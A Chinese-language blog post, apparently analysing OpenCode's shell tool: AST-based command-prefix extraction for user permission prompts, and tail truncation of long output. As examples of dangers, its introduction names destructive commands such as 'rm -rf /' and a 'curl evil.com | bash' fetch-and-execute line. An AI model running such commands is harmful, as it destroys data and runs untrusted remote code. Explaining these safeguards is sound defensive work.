基于 OpenCode(sst/opencode)真实源码,拆解命令执行的 2 个设计模式。AI 要跑 bash 命令,怎么防止它跑危险操作?10000 行的命令输出又怎么塞进上下文?
源码地址:github.com/sst/opencode · TypeScript monorepo · Effect 框架
没接触过 JavaScript/Effect? 本文会在每段 TS 代码旁边直接给出 Python 等价写法。
AI 执行命令的两个噩梦
- AI 可能跑危险命令 ------
rm -rf /、git push --force、curl evil.com | bash。直接执行 = 灾难。 - 命令输出太长 ------
npm test跑出 10000 行,全塞进上下文直接爆炸。
OpenCode 用 2 个设计模式应对:
| 噩梦 | 模式 |
|---|---|
| 危险命令怎么拦 | 模式 1:AST 命令预分析(tree-sitter 提取命令前缀 → 交给权限系统) |
| 输出爆上下文 | 模式 2:纯 tail 滑动窗口(流式保留尾部 + 超限落盘) |
先说一个重要事实: OpenCode 没有 内置"危险命令黑名单"。它不会硬编码拦截
rm -rf /。真正的权限控制是第四章讲的 permission 系统------AST 解析的作用不是"拦截",而是从 AI 可能变形的命令里准确提取命令名和前缀,让权限系统能精准询问用户。
模式 1:AST 命令预分析(tree-sitter 提取命令前缀)
源码位置: packages/opencode/src/tool/shell.ts
为什么需要解析命令结构
AI 生成的命令千奇百怪:rm -rf /tmp、rm --recursive --force ~、rm -r ~/test。如果只做字符串匹配,AI 换个参数顺序或长格式写法就绕过了。你需要理解命令的语法结构,而不是表面文本。
OpenCode 用 tree-sitter(GitHub 维护的开源增量解析器,Neovim 语法高亮、GitHub 代码搜索都用它)把 bash 命令解析成 AST,提取出命令名、参数、管道、重定向。
加载 tree-sitter 的 wasm 解析器
dart
// packages/opencode/src/tool/shell.ts · 第 311-336 行
const parser = lazy(async () => {
const { Parser } = await import("web-tree-sitter")
const { default: bashWasm } = await import(
"tree-sitter-bash/tree-sitter-bash.wasm" as string,
{ with: { type: "wasm" } }
)
const { default: psWasm } = await import(
"tree-sitter-powershell/tree-sitter-powershell.wasm" as string,
{ with: { type: "wasm" } }
)
const [bashLanguage, psLanguage] = await Promise.all([
Language.load(bashWasm),
Language.load(psWasm),
])
const bash = new Parser()
bash.setLanguage(bashLanguage)
const ps = new Parser()
ps.setLanguage(psLanguage)
return { bash, ps }
})
翻译:
python# Python 等价(使用 tree-sitter 的 Python 绑定) from tree_sitter import Language, Parser import tree_sitter_bash as tsbash def load_parser(): bash_lang = Language(tsbash.language()) bash_parser = Parser(bash_lang) return bash_parser def parse_command(cmd_str: str): tree = bash_parser.parse(cmd_str.encode("utf-8")) return tree.root_node # 返回一个 AST 节点树
lazy(...)是 Effect 框架的延迟求值包装器------wasm 解析器只在第一次执行 bash 工具时加载一次,后续复用。Python 里可以用@functools.lru_cache或模块级单例实现同样效果。
解析入口 + 命令名提取
dart
// packages/opencode/src/tool/shell.ts · 第 257-261 行(解析入口)
const node = parser.parse(text).rootNode
// 用 acquireRelease 保证 tree.delete() 被调用,避免 wasm 内存泄漏
const result = yield* Effect.acquireRelease(
Effect.sync(() => commands(node)),
(tree) => Effect.sync(() => tree?.delete()),
)
csharp
// packages/opencode/src/tool/shell.ts · 第 91-125 行(提取命令名 + 参数)
function commands(node: Node) {
return node
.descendantsOfType("command")
.filter((child): child is Node => Boolean(child))
}
function parts(node: Node) {
const out: { type: string; text: string }[] = []
for (let i = 0; i < node.childCount; i++) {
const child = node.child(i)
if (child?.type === "command_elements") {
for (let j = 0; j < child.childCount; j++) {
const item = child.child(j)
// 重定向节点跳过,不计入参数
if (!item || item.type === "command_argument_sep" || item.type === "redirection") continue
out.push({ type: item.type, text: item.text })
}
continue
}
// 只保留命令名、参数词、字符串等节点
if (child?.type !== "command_name" && child?.type !== "word" &&
child?.type !== "string" && child?.type !== "raw_string") continue
out.push({ type: child.type, text: child.text })
}
return out
}
翻译:
python# Python 等价 def commands(node): """找出 AST 里所有的 command 节点""" return [c for c in node.children if c.type == "command"] def parts(node): """提取一个命令节点的命令名和参数""" out = [] for child in node.children: if child.type == "command_elements": for item in child.children: # 跳过分隔符和重定向 if item.type in ("command_argument_sep", "redirection"): continue out.append({"type": item.type, "text": item.text}) continue if child.type not in ("command_name", "word", "string", "raw_string"): continue out.append({"type": child.type, "text": child.text}) return out
TS 写法 含义 node.descendantsOfType("command")找出所有类型为 command 的后代节点。Python 里遍历树手动筛选 node.child(i)取第 i 个子节点。Python 的 node.children[i]child.type/child.text节点类型(如 "command_name")/ 节点文本。Python 的node.type/node.text
解析后做什么:交给权限系统
提取出命令名和参数后,OpenCode 不自己做危险判断,而是生成"命令前缀"交给第四章讲的 permission 系统询问用户:
scss
// packages/opencode/src/tool/shell.ts · 第 263-291 行(权限预分析)
const tokens = parts(source(node)).map((p) => p.text)
if (tokens.length && (!cmd || !CWD.has(cmd))) {
scan.patterns.add(source(node)) // 完整命令文本
scan.always.add(BashArity.prefix(tokens).join(" ") + " *") // 命令前缀,如 "rm *"
}
// ... 最后交给权限系统
yield* ctx.ask({
permission: ShellID.ToolID,
patterns: Array.from(scan.patterns),
always: Array.from(scan.always),
})
BashArity.prefix(packages/opencode/src/permission/arity.ts 第 1-9 行)按 ARITY 表把命令名映射成授权粒度:git 取 2 段(git commit)、npm run 取 3 段(npm run build)、rm 取 1 段(rm)。这意味着用户批准一次 rm 后,后续所有 rm 命令都自动通过------而不是每次都问。
翻译成一句话: 命令解析的结果不是"拦截",而是"识别 "------从可能变形的命令里稳定提取出
rm这个动作,让权限系统能按rm这个粒度问用户"要不要允许",而不是按整条字符串。
为什么不用正则匹配
| 方式 | rm -rf / |
rm --recursive --force ~ |
rm -r ~/test |
|---|---|---|---|
正则 rm -rf |
识别 | 漏掉 | 漏掉 |
| tree-sitter AST | 识别 | 识别 | 识别 |
AI 可以轻松绕过正则------用长格式 --recursive 代替 -r、改变参数顺序、用变量替换路径。AST 解析不受这些影响,因为它理解语法结构而不是表面文本。
补充: OpenCode 的精简版(
packages/core/src/tool/bash.ts)确实用正则分词,源码里还留着 TODO:// TODO: Port tree-sitter bash / PowerShell parser-based approval reduction.完整版选择 tree-sitter 正是为了更精准地提取命令前缀。
模式 2:纯 tail 滑动窗口(流式保留 + 超限落盘)
源码位置: packages/opencode/src/tool/shell.ts · packages/opencode/src/util/truncate.ts
痛点
AI 跑 npm test 输出 10000 行。全塞进上下文 → 直接爆炸。但只给最尾部也不行------开头的环境信息、测试框架初始化日志里可能有线索。
OpenCode 的做法:流式保留尾部窗口 ,超出后完整输出落盘到文件,对话里只留截断提示 + 文件路径。
模型可见输出是纯 tail 滑动窗口
arduino
// packages/opencode/src/tool/shell.ts · 第 491-496 行(流式滑动窗口)
const keep = limits.maxBytes * 2 // 保留窗口 = 最大字节数 × 2
// 命令流式输出时,最旧的 chunk 不断被丢弃
while (used > keep && list.length > 1) {
const item = list.shift() // 移除最旧的 chunk
if (!item) break
used -= item.size
cut = true // 标记"已截断"
}
翻译:
ini# Python 等价 keep = max_bytes * 2 while used > keep and len(chunks) > 1: oldest = chunks.pop(0) # 移除最旧的 chunk used -= oldest.size cut = True
TS 写法 含义 list.shift()移除数组第一个元素并返回它。Python 的 list.pop(0)limits.maxBytes字节上限常量。真实值在 truncate.ts定义
真实的常量(packages/opencode/src/util/truncate.ts 第 15-16 行):
arduino
// packages/opencode/src/util/truncate.ts · 第 15-16 行
const MAX_LINES = 2000 // 最多保留 2000 行
const MAX_BYTES = 50 * 1024 // 最多保留 50 KB
超限落盘,而不是丢数据
当输出超过窗口,OpenCode 不丢弃 中间内容,而是写进一个临时文件,7 天后自动清理(truncate.ts 第 13 行):
lua
// packages/opencode/src/tool/shell.ts · 第 569 行(收尾处理)
const end = tail(raw, limits.maxLines, limits.maxBytes)
if (!file && end.cut) file = yield* trunc.write(raw) // 超限 → 落盘
// 对话里返回的提示
if (cut && file) {
output = `...output truncated...\n\nFull output saved to: ${file}\n\n` + output
}
tail() 函数从末行倒序累加,并做 UTF-8 续字节对齐(避免截断在多字节字符中间):
typescript
// packages/opencode/src/tool/shell.ts · 第 225-255 行
function tail(text: string, maxLines: number, maxBytes: number) {
const buf = Buffer.from(text)
let start = buf.length
let lines = 0
while (start > 0 && lines < maxLines) {
const nl = buf.lastIndexOf(0x0a, start - 1) // 找上一个换行符
if (nl === -1) break
start = nl + 1
lines++
if (buf.length - start <= maxBytes) break
}
// UTF-8 续字节对齐:如果停在多字节字符中间,往前挪
while (start < buf.length && (buf[start] & 0xc0) === 0x80) start++
return { text: buf.slice(start).toString(), cut: start > 0 }
}
翻译:
python# Python 等价 def tail(text: str, max_lines: int, max_bytes: int) -> tuple[str, bool]: lines = text.split("\n") kept = [] cut = False # 从尾部倒着取,直到超行数或超字节 for line in reversed(lines): kept.insert(0, line) if len(kept) >= max_lines: cut = True break if sum(len(l) + 1 for l in kept) > max_bytes: cut = True break return "\n".join(kept), cutPython 的
str天然按 Unicode 字符处理,不像Buffer按字节,所以不需要手动做 UTF-8 续字节对齐------这是 TS 处理字节流时特有的坑。
UI 预览也是纯 tail
注意:30000 这个数字是存在的,但只用于 UI 侧边栏的 metadata 预览,不是模型可见输出:
arduino
// packages/opencode/src/tool/shell.ts · 第 27 行
const MAX_METADATA_LENGTH = 30_000
// packages/opencode/src/tool/shell.ts · 第 220-223 行(UI 预览)
function preview(text: string) {
if (text.length <= MAX_METADATA_LENGTH) return text
return "...\n\n" + text.slice(-MAX_METADATA_LENGTH) // 纯 tail
}
两个模式怎么组合工作
当 AI 调用 bash 工具执行一条命令时:
c
AI 调用 bash 工具: "npm test 2>&1"
│
├─ 1. AST 预分析(模式 1)
│ ├─ tree-sitter 解析命令结构
│ │ └─ 提取命令名 "npm" + 参数 ["test"]
│ ├─ BashArity.prefix → 生成授权粒度 "npm run *"
│ └─ 交给 permission 系统询问用户(第四章模式 3)
│ ├─ 已批准? → 通过
│ └─ 未批准? → 问用户,批准后可复用
│
├─ 2. 执行命令
│ └─ 子进程运行,流式捕获 stdout + stderr
│
├─ 3. 纯 tail 滑动窗口(模式 2)
│ ├─ 流式保留尾部窗口(maxBytes × 2)
│ ├─ 超窗口? → 完整输出落盘到临时文件
│ └─ 对话里返回:截断提示 + 文件路径
│
└─ 4. 返回给 AI
AI 看到尾部输出 + 文件路径 → 理解测试结果 → 决定下一步
小结
| 模式 | 解决的问题 | 核心机制 | 你熟悉的概念 |
|---|---|---|---|
| AST 命令预分析 | 从变形命令里精准提取命令名 | tree-sitter 解析 bash AST + BashArity 前缀 → 权限系统 | SQL 参数化查询 vs 字符串拼接 |
| 纯 tail 滑动窗口 | 命令输出爆上下文 | 流式保留尾部窗口 + 超限落盘 + UI 纯 tail 预览 | 日志 tail -n + 临时文件 |
这两个模式共同回答一个问题:怎么让 AI 安全地执行命令------认得出它在做什么、装得下它产出的海量输出。